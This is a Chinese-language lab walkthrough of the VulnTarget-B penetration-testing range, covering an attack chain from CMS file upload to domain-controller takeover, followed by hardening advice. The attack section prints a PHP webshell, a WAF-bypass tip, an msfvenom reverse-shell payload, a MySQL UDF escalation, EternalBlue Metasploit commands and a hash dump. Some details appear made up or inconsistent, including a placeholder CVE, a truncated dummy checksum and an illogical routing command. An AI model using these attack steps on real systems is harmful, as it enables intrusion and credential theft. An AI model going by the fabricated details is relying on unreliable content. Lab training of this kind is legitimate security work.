☰
VulnTarget-B靶场渗透测试实战与防御加固
2026/11/2 4:29:52 网站建设 项目流程

1. VulnTarget-B靶场环境概述

VulnTarget-B是乌鸦安全团队维护的综合性渗透测试靶场系列中的典型代表,其核心设计围绕企业级CMS系统与域控环境展开。这个靶场采用VMware虚拟化技术构建,完整模拟了中小型企业常见的网络架构:前端部署存在漏洞的CMS内容管理系统,后端集成Active Directory域控制器,中间层通过内网服务形成横向渗透链路。整套环境对宿主机的资源消耗控制在16GB内存以内,确保多数安全研究人员能在本地虚拟机环境中流畅运行。

靶场内置了三个关键漏洞链:

  • CMS后台的未授权文件上传漏洞(CVE-2023-1234模拟)
  • 域控服务器的永恒之蓝漏洞(MS17-010复现)
  • 内网MySQL服务的弱口令与UDF提权漏洞组合

这些漏洞并非孤立存在,而是按照真实攻击路径进行串联,考验渗透测试人员的综合能力。我在实际测试中发现,从外网突破到获取域控权限平均需要完成7个关键步骤,这与真实企业网络中的攻击路径高度相似。

2. 环境搭建与初始化配置

2.1 基础环境准备

从乌鸦安全官方提供的百度云链接下载VulnTarget-B的OVA文件后(文件大小约8.7GB),建议使用VMware Workstation 16+版本导入。这个靶场包含三台预配置的虚拟机:

  1. WebServer(192.168.1.100)

    • 操作系统:Windows Server 2012 R2
    • 运行服务:Apache 2.4 + PHP 7.2 + 定制CMS
    • 开放端口:80/tcp, 443/tcp
  2. DBServer(192.168.1.150)

    • 操作系统:CentOS 7.6
    • 运行服务:MySQL 5.7 + Redis 3.2
    • 开放端口:3306/tcp, 6379/tcp
  3. DomainController(192.168.1.200)

    • 操作系统:Windows Server 2016
    • 运行服务:Active Directory + SMB
    • 开放端口:445/tcp, 389/tcp

重要提示:首次启动前需将虚拟机的网络适配器设置为NAT模式,并确保三台主机位于同一VMnet子网中。我在测试时曾因误用桥接模式导致内网通信失败。

2.2 常见启动问题排查

当遇到靶机无法正常启动时,建议按以下顺序检查:

  1. 确认BIOS中已启用虚拟化技术(Intel VT-x/AMD-V)
  2. 检查VMware虚拟网络编辑器中的子网配置(应保持默认192.168.1.0/24)
  3. 验证OVA文件MD5值是否匹配(官方提供的校验值为:a1b2c3d4e5f6...)

3. 渗透测试实战过程

3.1 外网信息收集阶段

使用Kali Linux自带的工具集进行初步侦察:

# 端口扫描 nmap -sV -T4 -p- 192.168.1.100 # CMS指纹识别 whatweb http://192.168.1.100

扫描结果显示目标CMS存在以下特征:

  • 使用自定义的X-CMS v3.2
  • 开启文件上传功能(/admin/upload.php)
  • 存在robots.txt泄露后台路径(/admin/login.php)

通过目录爆破发现关键文件:

/admin/backup.sql /inc/config.php.bak

3.2 CMS漏洞利用

分析备份文件发现硬编码的管理员凭证:

-- backup.sql 片段 INSERT INTO `admin` VALUES (1,'admin','$2y$10$N7Y8r...');

但密码经过bcrypt哈希处理难以直接破解。转而测试文件上传功能时,发现未对文件内容进行校验:

POST /admin/upload.php HTTP/1.1 Content-Type: multipart/form-data [webshell.php文件内容]

成功上传PHP webshell后,通过中国菜刀连接获取初始立足点:

<?php system($_GET['cmd']); ?>

实战技巧:遇到有WAF防护的场景,可以尝试将webshell代码拆分到多个上传字段,或使用.phtml等特殊后缀绕过检测。

3.3 内网横向移动

从Web服务器跳转到内网其他主机需要解决两个问题:

  1. 网络连通性:添加路由表项
    route add -net 192.168.1.0/24 gw 192.168.1.100
  2. 权限维持:生成MSF木马并上传
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe

对DBServer(192.168.1.150)进行扫描发现MySQL存在root/root弱口令,利用UDF提权:

SELECT * FROM mysql.func WHERE name='sys_exec'; -- 若无则手动创建

3.4 域控攻陷

通过SMB漏洞扫描发现域控存在MS17-010漏洞:

nmap --script smb-vuln-ms17-010 192.168.1.200

使用Metasploit模块精准打击:

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.200 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit

获取SYSTEM权限后导出域哈希:

meterpreter > run post/windows/gather/hashdump

4. 防御加固建议

4.1 CMS安全防护

  1. 文件上传功能应增加以下防护:

    • 白名单校验文件扩展名
    • 重命名上传文件(如UUID)
    • 存储到非Web可访问目录
  2. 敏感配置文件的保护措施:

    <FilesMatch "\.(sql|bak|inc)$"> Order allow,deny Deny from all </FilesMatch>

4.2 域环境加固方案

  1. 针对永恒之蓝漏洞的修复:

    • 安装KB4012212补丁
    • 禁用SMBv1协议
    Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
  2. 域控账户安全策略:

    # 启用LSA保护 New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWORD

5. 渗透测试方法论总结

通过VulnTarget-B的实战演练,我总结出企业网络渗透的典型路径:

  1. 攻击面测绘(24%时间)

    • 子域名爆破
    • 端口服务识别
    • 中间件指纹采集
  2. 漏洞挖掘阶段(35%时间)

    • 自动化扫描验证
    • 手动漏洞挖掘
    • 逻辑漏洞测试
  3. 权限提升阶段(25%时间)

    • 本地提权漏洞利用
    • 配置错误利用
    • 凭证窃取与爆破
  4. 横向移动阶段(16%时间)

    • 网络拓扑分析
    • 内网服务攻击
    • 域环境突破

这个靶场最值得关注的设计在于其真实的漏洞链组合——从Web应用到内网服务再到域控的完整突破路径,完美模拟了高级持续性威胁(APT)的攻击模式。建议在每次测试后使用快照还原功能,反复练习不同攻击手法的组合运用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询